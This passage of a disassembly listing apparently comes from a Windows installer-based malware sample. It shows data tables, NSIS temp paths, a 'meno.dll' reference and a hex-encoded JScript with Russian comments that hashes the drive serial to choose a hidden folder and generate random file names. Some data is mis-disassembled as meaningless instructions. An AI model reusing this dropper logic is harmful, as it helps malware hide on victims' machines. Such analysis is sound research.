0ABh, 0ADh, 0AFh, 0E0h dd 0E3h, 0EFh, 107h, 108h, 109h, 9, 0Ah, 0Dh, 2Ch, 30h dd 3Bh, 3Dh, 41h, 43h, 44h, 45h, 5Bh, 5Dh, 67h, 6Ah, 70h dd 77h, 91h, 0A9h, 0ACh, 0E5h, 0E6h, 0E7h, 0EBh, 10Ah dd 10Ch, 10Eh, 25h, 2Dh, 2Fh, 31h, 32h, 33h, 34h, 39h dd 3Ah, 46h, 4Ch, 4Eh, 54h, 57h, 5Ch, 78h, 0A1h, 0A3h dd 0A7h, 0E4h, 0F1h, 10Dh, 21h, 35h, 38h, 3Ch, 3Eh, 3Fh dd 47h, 48h, 4Fh, 50h, 52h, 58h, 6Bh, 71h, 7Ah, 7Bh, 7Dh dd 81h, 84h, 87h, 8Ah, 8Ch, 8Fh, 92h, 94h, 0E8h, 0E9h dd 0ECh, 0EEh, 100h, 10Fh, 112h, 66h, 67h, 69h, 6Bh, 6Eh dd 70h, 73h, 76h, 77h, 78h, 79h, 86h, 87h, 88h, 8Ah, 0A1h dd 0A5h, 0BEh, 0C1h, 0C4h, 0C7h, 0C8h, 0C9h, 0CBh, 0D0h dd 0D1h, 0D3h, 0D7h, 0DAh, 0E1h, 0E2h, 0E4h, 0ECh, 0EDh dd 0EFh, 0F3h, 0F6h, 0FAh, 0FBh, 0FEh, 107h, 108h, 109h dd 12h, 17h, 1Bh, 1Dh, 1Eh, 22h, 26h, 27h, 29h, 2Ah, 4Ah dd 6Dh, 7Bh, 81h, 82h, 8Ch, 8Eh, 90h, 91h, 99h, 9Eh, 9Fh dd 0A0h, 0A2h, 0A6h, 0ADh, 0B4h, 0B6h, 0B7h, 0B8h, 0B9h dd 0BBh, 0BCh, 0BDh, 0C5h, 0CAh, 0CCh, 0CDh, 0CEh, 0D2h dd 0D5h, 0D6h, 0D9h, 0DCh, 0DDh, 0DFh, 0E3h, 0E6h, 0EEh dd 0F1h, 0FDh, 10Ah, 10Ch, 4Bh, 5Ch, 60h, 71h, 7Ah, 8Fh dd 94h, 95h, 97h, 98h, 9Bh, 9Ch, 9Dh, 0A4h, 0A7h, 0A8h dd 0A9h, 0AFh, 0B0h, 0B1h, 0B2h, 0B3h, 0BAh, 0BFh, 0D4h dd 0DEh, 0E5h, 0E7h, 0EAh, 0F2h, 0F5h, 10Bh, 10Dh, 10Fh dd 92h, 93h, 96h, 0AAh, 0ACh, 0AEh, 0CFh, 100h, 110h, 111h dd 112h, 116h, 117h, 119h, 11Bh, 11Dh, 115h, 117h, 119h dd 11Bh, 11Ch, 100h, 116h, 118h, 11Ah, 3 dup(0) dword_409D00 dd 220h dup(0) ; DATA XREF: sub_401000+14Eo ; sub_401000+183o byte_40A580 db 0 ; DATA XREF: sub_401000:loc_401103r ; sub_401000+1AAw align 8 dword_40A588 dd 0 ; DATA XREF: sub_401FAF+27w ; sub_401FAF+5Ar dword_40A58C dd 77073096h ; DATA XREF: sub_401FAFr dd 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh, 0E963A535h dd 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh, 97D2D988h dd 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h, 1DB71064h dd 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh, 6DDDE4EBh dd 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h, 0FD62F97Ah dd 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h, 8D080DF5h dd 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h, 3C03E4D1h dd 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh, 42B2986Ch dd 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h, 0DCD60DCFh dd 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h, 0BFD06116h dd 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh, 2802B89Eh dd 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h, 58684C11h dd 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h, 98D220BCh dd 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h, 0E8B8D433h dd 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h, 7F6A0DBBh dd 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h, 1C6C6162h dd 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh, 8208F4C1h dd 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh, 0FCB9887Ch dd 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h, 4DB26158h dd 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h, 3DD895D7h dd 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh, 0AD678846h dd 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh, 0DD0D7CC9h dd 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h, 5768B525h dd 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh, 29D9C998h dd 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h, 0B7BD5C3Bh dd 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch, 74B1D29Ah dd 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h, 0E3630B12h dd 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh, 9309FF9Dh dd 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h, 1E01F268h dd 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h, 6E6B06E7h dd 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh, 0F9B9DF6Fh dd 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h, 0A1D1937Eh dd 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h, 3FB506DDh dd 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h, 41047A60h dd 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h, 0CB61B38Ch dd 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h, 0BB0B4703h dd 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h, 2BB45A92h dd 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh, 5BDEAE1Dh dd 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah, 9C0906A9h dd 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h, 0E2B87A14h dd 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh, 7CDCEFB7h dd 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h, 1FDA836Eh dd 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h, 88085AE6h dd 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh, 0F862AE69h dd 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh, 4E048354h dd 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh, 3E6E77DBh dd 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h, 0A9BCAE53h dd 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch, 0CABAC28Ah dd 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h, 54DE5729h dd 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h, 2A6F2B94h dd 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh dword_40A988 dd 0 ; DATA XREF: sub_4020E9+97Bw ; sub_4020E9+9BEo dd 3 dup(0) dword_40A998 dd 0 ; DATA XREF: sub_4020E9+985w byte_40A99C db 0 ; DATA XREF: sub_4020E9+99Cw byte_40A99D db 0 ; DATA XREF: sub_4020E9+9AEw byte_40A99E db 0 ; DATA XREF: sub_4020E9+9B4w byte_40A99F db 0 ; DATA XREF: sub_4020E9+995w dd 0 dword_40A9A4 dd 8 dup(0) ; DATA XREF: sub_4020E9+9A9o dword_40A9C4 dd 12FF1Ch ; DATA XREF: sub_4020E9+48w ; sub_403736+4r ... aCall db 'Call',0 ; DATA XREF: sub_4020E9+383o ; sub_4020E9+767o ... aCume1SriUserLo db 'CUME~1\SRI-user\LOCALS~1\Temp\nsy2.tmp\System.dll',0 align 10h dd 0F2h dup(0) aCDocume1SriUse db 'C:\DOCUME~1\SRI-user\LOCALS~1\Temp\nsy2.tmp\System.dll',0 ; DATA XREF: sub_4020D8o ; sub_4020E9+23Fo ... aMeno_dll db '\meno.dll',0 aObjects7b4dd62 db ' Objects\{7B4DD627-E555-4373-AA84-4E5241613B7A}',0 align 4 dd 0E3h dup(0) aCDocume1SriU_0 db 'C:\DOCUME~1\SRI-user\LOCALS~1\Temp\nsy2.tmp',0 ; DATA XREF: sub_4020E9+3B2o ; sub_4020E9+E12o ... dd 0F5h dup(0) aCDocume1SriU_4 db 'C:\DOCUME~1\SRI-user\LOCALS~1\Temp\nsy2.tmp\System.dll',0 align 10h dd 1F2h dup(0) word_40BDC8 dw 0 ; DATA XREF: sub_4020E9+D87o ; sub_4020E9+D97w align 4 dd 1FFh dup(0) dword_40C5C8 dd 0 ; DATA XREF: sub_4020E9+743r ; sub_4020E9+773r ... align 10h dword_40C5D0 dd 0 ; DATA XREF: sub_403849+2Cw ; sub_403849+57r align 8 off_40C5D8 dd offset byte_41664D ; DATA XREF: sub_403B73+D4w ; sub_403B73+E6o dword_40C5DC dd 0 ; DATA XREF: sub_403B73+DAw off_40C5E0 dd offset loc_41AA94+3 ; DATA XREF: sub_403B73+EBw ; sub_403B73+106r ... dword_40C5E4 dd 7749h ; DATA XREF: sub_403B73+F1w dword_40C5E8 dd 0Fh ; DATA XREF: sub_403B73+86w align 10h dd offset dword_40D378 dd 1, 609h, 40CB08h, 40D388h, 5 dup(0) dd 2 dup(8), 2 dup(0) dd 8, 12h dup(0) dd 4, 0Ah, 6, 2 dup(0) dd 9, 2 dup(0) dd 6, 7, 0 dd 7, 8, 9, 6, 9, 8, 4 dup(9), 0Ah, 2 dup(0) dd 0Ah, 2 dup(9), 8, 0Ah, 8, 2 dup(0Ah), 0 dd 8, 0 dd 3 dup(8), 9, 2 dup(0Ah), 3 dup(0) dd 9, 0 dd 9, 2 dup(0Ah), 0 dd 0Ah, 7, 9, 2 dup(0) dd 9, 0Ah, 2 dup(0) dd 8, 9, 8, 3 dup(0) dd 6, 3 dup(7), 5, 7, 8, 7, 6, 8, 0Ah, 6, 7, 2 dup(6) dd 8, 0Ah, 5, 3 dup(6), 7, 8, 9, 7, 2 dup(0Ah), 0 dd 0Ah, 3 dup(0) dd 0Ah, 2 dup(0) dd 0Ah, 2 dup(0) dd 0Ah, 2 dup(0) dd 0Ah, 0 dd 0Ah, 2 dup(0) dd 0Ah, 0 dd 8, 0Ah, 0 dd 0Ah, 0Bh dup(0) dd 6, 9, 6, 9, 7, 6, 0 dd 9, 5, 8, 6, 7, 8, 7, 6, 7, 30h dup(0) dd 7, 2 dup(6), 7, 9, 3 dup(8), 2 dup(0Ah), 0 dd 8, 0Ah, 0 dd 0Ah, 7, 0 dd 9, 0Eh dup(0) dd 0Ah, 2 dup(4), 2 dup(5), 2 dup(6), 3 dup(7), 8, 0 dd 8, 9, 8, 0Ah, 2 dup(0) dd 0Ah, 3 dup(0) dd 7, 3, 2 dup(7), 3 dup(5), 9 dup(4), 3, 2 dup(5), 7 dd 2 dup(5), 4, 5, 3 dup(4), 5, 3 dup(4), 5, 2 dup(6) dd 7, 2 dup(4), 5, 4 dup(0) dd 7, 0 dd 0Fh dword_40CB00 dd 6 ; DATA XREF: sub_403B73+70w dword_40CB04 dd 0 ; DATA XREF: sub_403B73+69w dd 200400h, 750600h, 0A80500h, 0AB0700h, 40450h, 70650h dd 2E0600h, 6A0800h, 30450h, 0AA0600h, 60550h, 0B0751h dd 650500h, 630700h, 6E0600h, 340900h, 200400h, 0A20600h dd 50550h, 0E30700h, 40450h, 290700h, 690600h, 0E70800h dd 30450h, 0E10600h, 220600h, 3D0800h, 720500h, 6D0700h dd 730600h, 1E10901h, 200400h, 0A00600h, 0A80500h, 0AF0700h dd 40450h, 80650h, 610600h, 0A90800h, 30450h, 0AE0600h dd 60550h, 0D0800h, 650500h, 660700h, 6F0600h, 5C0900h dd 200400h, 0A50600h, 50550h, 90750h, 40450h, 530700h dd 6C0600h, 170852h, 30450h, 0E20600h, 280600h, 450800h dd 720500h, 790700h, 740600h, 1D10901h, 200400h, 750600h dd 0A80500h, 0AD0700h, 40450h, 70650h, 2E0600h, 770800h dd 30450h, 0AA0600h, 60550h, 90800h, 650500h, 640700h dd 6E0600h, 4C0900h, 200400h, 0A20600h, 50550h, 0EF0700h dd 40450h, 2B0700h, 690600h, 0D0851h, 30450h, 0E10600h dd 220600h, 430800h, 720500h, 760700h, 730600h, 1A90901h dd 200400h, 0A00600h, 0A80500h, 0E00700h, 40450h, 80650h dd 610600h, 0E50800h, 30450h, 0AE0600h, 60550h, 300800h dd 650500h, 680700h, 6F0600h, 0A70900h, 200400h, 0A50600h dd 50550h, 0A0750h, 40450h, 620700h, 6C0600h, 2F0900h dd 30450h, 0E20600h, 280600h, 5D0800h, 720500h, 0A40700h dd 740600h, 1990901h, 200400h, 750600h, 0A80500h, 0AB0700h dd 40450h, 70650h, 2E0600h, 700800h, 30450h, 0AA0600h dd 60550h, 0B0751h, 650500h, 630700h, 6E0600h, 3A0900h dd 200400h, 0A20600h, 50550h, 0E30700h, 40450h, 290700h dd 690600h, 0EB0800h, 30450h, 0E10600h, 220600h, 410800h dd 720500h, 6D0700h, 730600h, 1650901h, 200400h, 0A00600h dd 0A80500h, 0AF0700h, 40450h, 80650h, 610600h, 0AC0800h dd 30450h, 0AE0600h, 60550h, 2C0800h, 650500h, 660700h dd 6F0600h, 0A10900h, 200400h, 0A50600h, 50550h, 90750h dd 40450h, 530700h, 6C0600h, 250900h, 30450h, 0E20600h dd 280600h, 5B0800h, 720500h, 790700h, 740600h, 1550901h dd 200400h, 750600h, 0A80500h, 0AD0700h, 40450h, 70650h dd 2E0600h, 910800h, 30450h, 0AA0600h, 60550h, 0A0800h dd 650500h, 640700h, 6E0600h, 540900h, 200400h, 0A20600h dd 50550h, 0EF0700h, 40450h, 2B0700h, 690600h, 110851h dd 30450h, 0E10600h, 220600h, 440800h, 720500h, 760700h dd 730600h, 12D0901h, 200400h, 0A00600h, 0A80500h, 0E00700h dd 40450h, 80650h, 610600h, 0E60800h, 30450h, 0AE0600h dd 60550h, 3B0800h, 650500h, 680700h, 6F0600h, 0F10900h dd 200400h, 0A50600h, 50550h, 0A0750h, 40450h, 620700h dd 6C0600h, 320900h, 30450h, 0E20600h, 280600h, 670800h dd 720500h, 0A40700h, 740600h, 11D0901h, 200400h, 750600h dd 0A80500h, 0AB0700h, 40450h, 70650h, 2E0600h, 6A0800h dd 30450h, 0AA0600h, 60550h, 0B0751h, 650500h, 630700h dd 6E0600h, 390900h, 200400h, 0A20600h, 50550h, 0E30700h dd 40450h, 290700h, 690600h, 0E70800h, 30450h, 0E10600h dd 220600h, 3D0800h, 720500h, 6D0700h, 730600h, 0E30901h dd 200400h, 0A00600h, 0A80500h, 0AF0700h, 40450h, 80650h dd 610600h, 0A90800h, 30450h, 0AE0600h, 60550h, 0D0800h dd 650500h, 660700h, 6F0600h, 780900h, 200400h, 0A50600h dd 50550h, 90750h, 40450h, 530700h, 6C0600h, 170852h, 30450h dd 0E20600h, 280600h, 450800h, 720500h, 790700h, 740600h dd 0D30901h, 200400h, 750600h, 0A80500h, 0AD0700h, 40450h dd 70650h, 2E0600h, 770800h, 30450h, 0AA0600h, 60550h dd 90800h, 650500h, 640700h, 6E0600h, 4E0900h, 200400h dd 0A20600h, 50550h, 0EF0700h, 40450h, 2B0700h, 690600h dd 0D0851h, 30450h, 0E10600h, 220600h, 430800h, 720500h dd 760700h, 730600h, 0AB0901h, 200400h, 0A00600h, 0A80500h dd 0E00700h, 40450h, 80650h, 610600h, 0E50800h, 30450h dd 0AE0600h, 60550h, 300800h, 650500h, 680700h, 6F0600h dd 0E40900h, 200400h, 0A50600h, 50550h, 0A0750h, 40450h dd 620700h, 6C0600h, 310900h, 30450h, 0E20600h, 280600h dd 5D0800h, 720500h, 0A40700h, 740600h, 9B0901h, 200400h dd 750600h, 0A80500h, 0AB0700h, 40450h, 70650h, 2E0600h dd 700800h, 30450h, 0AA0600h, 60550h, 0B0751h, 650500h dd 630700h, 6E0600h, 460900h, 200400h, 0A20600h, 50550h dd 0E30700h, 40450h, 290700h, 690600h, 0EB0800h, 30450h dd 0E10600h, 220600h, 410800h, 720500h, 6D0700h, 730600h dd 670901h, 200400h, 0A00600h, 0A80500h, 0AF0700h, 40450h dd 80650h, 610600h, 0AC0800h, 30450h, 0AE0600h, 60550h dd 2C0800h, 650500h, 660700h, 6F0600h, 0A30900h, 200400h dd 0A50600h, 50550h, 90750h, 40450h, 530700h, 6C0600h dd 2D0900h, 30450h, 0E20600h, 280600h, 5B0800h, 720500h dd 790700h, 740600h, 570901h, 200400h, 750600h, 0A80500h dd 0AD0700h, 40450h, 70650h, 2E0600h, 910800h, 30450h dd 0AA0600h, 60550h, 0A0800h, 650500h, 640700h, 6E0600h dd 570900h, 200400h, 0A20600h, 50550h, 0EF0700h, 40450h dd 2B0700h, 690600h, 110851h, 30450h, 0E10600h, 220600h dd 440800h, 720500h, 760700h, 730600h, 2F0901h, 200400h dd 0A00600h, 0A80500h, 0E00700h, 40450h, 80650h, 610600h dd 0E60800h, 30450h, 0AE0600h, 60550h, 3B0800h, 650500h dd 680700h, 6F0600h, 130952h, 200400h, 0A50600h, 50550h dd 0A0750h, 40450h, 620700h, 6C0600h, 330900h, 30450h dd 0E20600h, 280600h, 670800h, 720500h, 0A40700h, 740600h dd 1F0901h dd 210100h, 350100h, 380100h, 3C0100h, 3E0100h, 3F0100h dd 470100h, 480100h, 4F0100h, 500100h, 520100h, 580100h dd 6B0100h, 710100h, 7A0100h, 7B0100h, 7D0100h, 810100h dd 840100h, 870100h, 8A0100h, 8C0100h, 8F0100h, 920100h dd 940100h, 0E80100h, 0E90100h, 0EC0100h dword_40D378 dd 0EE0100h, 1000160h, 1B0152h, 2B0153h, 50351h, 810456h ; DATA XREF: .data:0040C5F0o dd 210454h, 2010458h, 3010358h, 1010457h, 410455h, 190553h dd 50351h, 0C10456h, 310454h, 0D0552h, 3010358h, 1810457h dd 610455h, 6010559h, 50351h, 810456h, 210454h, 2010458h dd 3010358h, 1010457h, 410455h, 4010559h, 50351h, 0C10456h dd 310454h, 110553h, 3010358h, 1810457h, 610455h, 210601h dd 50351h, 810456h, 210454h, 2010458h, 3010358h, 1010457h dd 410455h, 190553h, 50351h, 0C10456h, 310454h, 0D0552h dd 3010358h, 1810457h, 610455h, 6010559h, 50351h, 810456h dd 210454h, 2010458h, 3010358h, 1010457h, 410455h, 4010559h dd 50351h, 0C10456h, 310454h, 110553h, 3010358h, 1810457h dd 610455h, 30601h, 40150h, 70151h, 90152h, 801015Ah, 230353h dd 830355h, 530354h, 1020350h, 110453h, 6010459h, 1010457h dd 310554h, 210454h, 40550h, 2010458h, 3010558h, 190453h dd 801045Ah, 1810457h, 610555h, 810456h, 90552h, 4010459h dd 50651h, 110453h, 6010459h, 1010457h, 410555h, 210454h dd 70551h, 2010458h, 0C01055Ah, 190453h, 801045Ah, 1810457h dd 0C10556h, 810456h, 0D0552h, 4010459h, 1801065Bh, 110453h dd 6010459h, 1010457h, 310554h, 210454h, 40550h, 2010458h dd 3010558h, 190453h, 801045Ah, 1810457h, 610555h, 810456h dd 90552h, 4010459h, 1001065Bh, 110453h, 6010459h, 1010457h dd 410555h, 210454h, 70551h, 2010458h, 0C01055Ah, 190453h dd 801045Ah, 1810457h, 0C10556h, 810456h, 0D0552h, 4010459h dd 10601h, 10150h, 2001015Ch, 3001045Ch, 6010559h, 4010459h dd 0C10556h, 90552h, 1801055Bh, 2010458h, 410555h, 4001045Dh dd 0C01055Ah, 2001045Ch, 1810557h, 110553h, 10603h, 10150h dd 20250h, 10150h, 30350h, 10150h, 20250h, 10150h, 50351h dd 4010459h, 190553h, 2001045Ch, 1810557h, 1001045Bh, 610555h dd 4001045Dh, 0C01055Ah, 801045Ah, 310554h, 3001045Ch dd 3010558h, 1801045Bh, 0C10556h, 6001045Dh, 0D0652h, 4010459h dd 110553h, 2001045Ch, 1010557h, 1001045Bh, 410555h, 4001045Dh dd 6010559h, 801045Ah, 210554h, 3001045Ch, 2010558h, 1801045Bh dd 810556h, 6001045Dh, 90652h, 4010459h, 190553h, 2001045Ch dd 1810557h, 1001045Bh, 610555h, 4001045Dh, 0C01055Ah dd 801045Ah, 310554h, 3001045Ch, 3010558h, 1801045Bh, 0C10556h dd 6001045Dh, 10604h, 40150h, 50251h, 40150h, 10350h, 40150h dd 50251h, 40150h, 20450h, 40150h, 50251h, 40150h, 10350h dd 40150h, 50251h, 40150h, 30450h, 2A0h dup(0) dword_40E188 dd 636E7566h, 6E6F6974h, 74657220h, 28677261h, 0D7B2029h ; DATA XREF: sub_403B73+81o dd 6176090Ah, 72612072h, 3D207367h, 63535720h, 74706972h dd 6772412Eh, 6E656D75h, 0D3B7374h, 6572090Ah, 6E727574h dd 67726120h, 654C2E73h, 6874676Eh, 30203E20h, 61203F20h dd 28736772h, 3A202930h, 3B222220h, 0D7D0A0Dh, 2F0A0D0Ah dd 6948202Fh, 6F726620h, 6977206Dh, 7265746Eh, 75522079h dd 61697373h, 29293A20h, 61760A0Dh, 73662072h, 203D206Fh dd 2077656Eh, 69746341h, 4F586576h, 63656A62h, 53222874h dd 70697263h, 676E6974h, 6C69462Eh, 73795365h, 4F6D6574h dd 63656A62h, 3B292274h, 0A0D0A0Dh, 92202F2Fh, 0E9E3AAA5h dd 0AA20A9A8h, 0ABA0E2A0h, 0A0DA3AEh, 20726176h, 646C6F66h dd 3D207265h, 6F736620h, 7465472Eh, 646C6F46h, 22287265h dd 225C5C2Eh, 0A0D3B29h, 2F2F0A0Dh, 0E0A58F20h, 0A4AEE5A5h dd 20E2AE20h, 6C6C6F43h, 69746365h, 0AF206E6Fh, 0A0AAA4AEh dd 0AEABA0E2h, 20A2AEA3h, 724120AAh, 20796172h, 0AAA4AEAFh dd 0ABA0E2A0h, 0A2AEA3AEh, 61760A0Dh, 75732072h, 6C6F6662h dd 73726564h, 6E203D20h, 41207765h, 79617272h, 0D3B2928h dd 3D20650Ah, 77656E20h, 756E4520h, 6172656Dh, 28726F74h dd 646C6F66h, 532E7265h, 6F466275h, 7265646Ch, 0D3B2973h dd 726F660Ah, 203B2820h, 612E6521h, 646E4574h, 203B2928h dd 6F6D2E65h, 654E6576h, 29287478h, 90A0D29h, 66627573h dd 65646C6Fh, 702E7372h, 28687375h, 74692E65h, 29286D65h dd 0A0D3B29h, 2F2F0A0Dh, 0ADE39420h, 0EFA8E6AAh, 0EFABA420h dd 0E0AEE120h, 0AEE0A8E2h, 20A8AAA2h, 0A0E2A0AAh, 0AEA3AEABh dd 0AEAF20A2h, 0E2A0A420h, 0AEE120A5h, 0ADA0A4A7h, 0A0DEFA8h dd 636E7566h, 6E6F6974h, 72696420h, 74726F73h, 202C6128h dd 7B202962h, 74657220h, 206E7275h, 442E6128h, 43657461h dd 74616572h, 2D206465h, 442E6220h, 43657461h, 74616572h dd 3B296465h, 0A0D7D20h, 2F2F0A0Dh, 0E0AE9120h, 0E3E0A8E2h dd 0AA20ACA5h, 0ABA0E2A0h, 0DA8A3AEh, 6275730Ah, 646C6F66h dd 2E737265h, 74726F73h, 72696428h, 74726F73h, 0D0A0D29h dd 202F2F0Ah, 0F1E0A581h, 0A5E120ACh, 0ADA9A8E0h, 0AD20A9EBh dd 0E0A5ACAEh, 0ADA8A220h, 0E2E1A5E7h, 0DA0E0A5h, 7261760Ah dd 72657320h, 206C6169h, 6F66203Dh, 7265646Ch, 6972442Eh dd 532E6576h, 61697265h, 6D754E6Ch, 2E726562h, 74536F74h dd 676E6972h, 0D3B2928h, 2F0A0D0Ah, 0AA91202Fh, 0EBA4A0ABh dd 0ACA5A0A2h, 0A5E1A220h, 0E4A8E620h, 0E120EBE0h, 0A9A8E0A5h dd 0A0AAA8ADh, 0A5A1202Ch, 20ACF1E0h, 0A0E2E1AEh, 20AAAEE2h dd 0A420E2AEh, 0ADA5ABA5h, 0AD20EFA8h, 0A5A420A0h, 0ECE2EFA2h dd 2F2F0A0Dh, 0AF20A820h, 0E7E3ABAEh, 20ACA5A0h, 0A5ACAEADh dd 0E1A820E0h, 0AEACAEAAh, 0AA20AEA3h, 0ABA0E2A0h, 20A0A3AEh dd 757320A2h, 6C6F6662h, 73726564h, 61760A0Dh, 61682072h dd 3D206873h, 0D3B3020h, 726F660Ah, 61762820h, 20692072h dd 3B30203Dh, 3C206920h, 72657320h, 2E6C6169h, 676E656Ch dd 203B6874h, 292B2B69h, 68090A0Dh, 20687361h, 73203D2Bh dd 61697265h, 68632E6Ch, 6F437261h, 74416564h, 20296928h dd 3834202Dh, 0D0A0D3Bh, 7361680Ah, 3D2B2068h, 39313120h dd 0D0A0D3Bh, 7261760Ah, 74756F20h, 20726964h, 7573203Dh dd 6C6F6662h, 73726564h, 7361685Bh, 20252068h, 0D3B5D39h dd 2F0A0D0Ah, 0AE91202Fh, 0A5A0A4A7h, 0A0E420ACh, 6920ABA9h dd 692E696Eh, 0A420696Eh, 0AF20EFABh, 0A4A5E0A5h, 20A8E7A0h dd 0A0E2A0AAh, 0A0A3AEABh, 69736E20h, 0AAE12D73h, 0E2AFA8E0h dd 760A0DE3h, 69207261h, 6966696Eh, 3D20656Ch, 6C6F6620h dd 2E726564h, 61657243h, 65546574h, 69467478h, 2228656Ch dd 2E696E69h, 22696E69h, 7274202Ch, 3B296575h, 6E690A0Dh dd 6C696669h, 72572E65h, 4C657469h, 28656E69h, 65735B22h dd 6F697463h, 29225D6Eh, 690A0D3Bh, 6966696Eh, 572E656Ch dd 65746972h, 656E694Ch, 69642228h, 20223D72h, 756F202Bh dd 72696474h, 0A0D3B29h, 2F2F0A0Dh, 0E1A08C20h, 0EBA2A8E1h dd 0A0ABA320h, 0E5EBADE1h, 0E120A820h, 0A0ABA3AEh, 0E5EBADE1h dd 0AB91202Eh, 0ACAEA3AEh, 0A8E7E120h, 0E2A5A0E2h, 0E120EFE1h dd 0A0ABA3AEh, 0EFA0ADE1h, 0A0ABA32Bh, 0EFA0ADE1h, 61760A0Dh dd 6F762072h, 206C6577h, 656E203Dh, 72412077h, 28796172h dd 2C226122h, 22652220h, 6922202Ch, 22202C22h, 202C226Fh dd 2C227522h, 22792220h, 0A0D3B29h, 20726176h, 736E6F63h dd 6E616E6Fh, 203D2074h, 2077656Eh, 61727241h, 62222879h dd 22202C22h, 202C2263h, 2C226422h, 22662220h, 6722202Ch dd 22202C22h, 202C2268h, 2C226A22h, 226B2220h, 6C22202Ch dd 22202C22h, 202C226Dh, 2C226E22h, 22702220h, 7122202Ch dd 22202C22h, 202C2272h, 2C227322h, 22742220h, 7622202Ch dd 22202C22h, 202C2277h, 2C227822h, 227A2220h, 0A0D3B29h dd 2F2F0A0Dh, 0ABAE8A20h, 0E1A5E7A8h, 20AEA2E2h, 0A3AEABE1h dd 0A220A2AEh, 0A7A0AD20h, 0A8ADA0A2h, 760A0DA8h, 73207261h dd 616C6C79h, 73656C62h, 32203D20h, 68202B20h, 20687361h dd 3B332025h, 0A0D0A0Dh, 20726176h, 656D616Eh, 22203D20h dd 0D203B22h, 7261760Ah, 6F707620h db 73h ; =============== S U B R O U T I N E ======================================= sub_40E771 proc near ; CODE XREF: sub_40EAA7+1p ; sub_40EEDB+19p ... ; FUNCTION CHUNK AT 0040E7C3 SIZE 00000048 BYTES ; FUNCTION CHUNK AT 0040E874 SIZE 0000005C BYTES ; FUNCTION CHUNK AT 0040E8D4 SIZE 00000067 BYTES ; FUNCTION CHUNK AT 0040E94C SIZE 00000042 BYTES and ds:72657320h, bh imul esp, [ecx+6Ch], 6168632Eh jb short loc_40E7C3 sub_40E771 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40E780 proc near ; CODE XREF: sub_40EEDB+27Cp ; sub_40F583+5Fp ... outsd db 64h, 65h inc ecx jz short near ptr loc_40E7A8+6 xor [ecx], ch and ds:776F7620h, ah ; CODE XREF: sub_40E771+6Dj db 65h insb db 2Eh ; CODE XREF: .data:0040ECC0p ; .data:0040ECC8p ... insb sub_40E780 endp ; sp-analysis failed outs dx, byte ptr gs:[esi] db 67h jz near ptr 0E7FFh cmp ecx, ds:7261760Ah and [ebx+70h], ah outsd jnb short loc_40E7C3 cmp eax, 72657320h loc_40E7A8: ; CODE XREF: sub_40E780+4j imul esp, [ecx+6Ch], 6168632Eh jb short near ptr loc_40E7F0+4 outsd db 64h, 65h inc ecx jz short near ptr loc_40E7DE+1 xor [ecx], ch and ds:6E6F6320h, ah jnb short sub_40E830 outsb popa ; START OF FUNCTION CHUNK FOR sub_40E771 loc_40E7C3: ; CODE XREF: sub_40E771+Dj ; .data:0040E7A1j outsb jz short near ptr loc_40E7F0+4 insb outs dx, byte ptr gs:[esi] db 67h jz near ptr 0E834h cmp ecx, ds:2F0A0D0Ah ; CODE XREF: sub_40E98E:loc_40EA58p ; .data:0040EBF6p ... das and [ecx-575A5456h], dl mov 